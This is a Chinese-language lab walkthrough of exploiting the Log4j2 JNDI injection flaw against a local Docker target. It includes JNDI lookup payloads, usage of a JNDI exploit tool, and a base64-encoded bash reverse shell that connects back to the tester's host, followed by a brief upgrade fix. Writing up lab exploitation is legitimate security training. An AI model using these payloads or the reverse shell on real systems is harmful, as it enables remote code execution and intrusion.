目录
0x00漏洞介绍
Apache log4j 2是一个用Java写的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
0x01影响范围
2.0 <= Apache Log4j2 <= 2.14.1
0x02环境搭建
本机kali的ip是192.168.120.129
CEYE注册的DNSlog网站为z30z4j.ceye.io
搭建的方法有很多,这里我们直接利用docker本地搭建
docker pull vulfocus/log4j2-rce-2021-12-09
下载完成之后启动靶场
docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
访问网站
搭建成功
0x03漏洞利用
先检验漏洞是否存在,先准备一个DNSlog网站,用于查看日志
日志记录已经是清空的状态,接着我们构造payload
#格式为
${jndi:ldap://xxxxxx/x}
payload=${jndi:ldap://z30z4j.ceye.io/x}
URL编码后为
payload=%24%7bjndi%3aldap%3a%2f%2fz30z4j.ceye.io%2fx%7d
查看到日志有回显,说明存在漏洞,接着我们开始利用,先准备好JNDI注入工具
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
安装教程:
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit
mvn clean package -DskipTests
接着构造反弹shell,访问https://www.bugku.net/runtime-exec-payloads/
根据格式,构造我们的反弹shell命令,复制生成的命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMC4xMjkvODg4OCAwPiYx}|{base64,-d}|{bash,-i}
接着利用刚才准备的工具,生成EXP
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMC4xMjkvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.120.129
生成了五个payload,根据需求选择一个,这里我们选择第无个,并复制
rmi://192.168.120.129:1099/kknwvb
监听刚才反弹shell的端口8888
构建payload
payload=${jndi:rmi://192.168.120.129:1099/kknwvb}
URL编码后
payload=%24%7bjndi%3armi%3a%2f%2f192.168.120.129%3a1099%2fkknwvb%7d
反弹shell成功!!!
0x04漏洞修复
升级Apache Log4j至最新版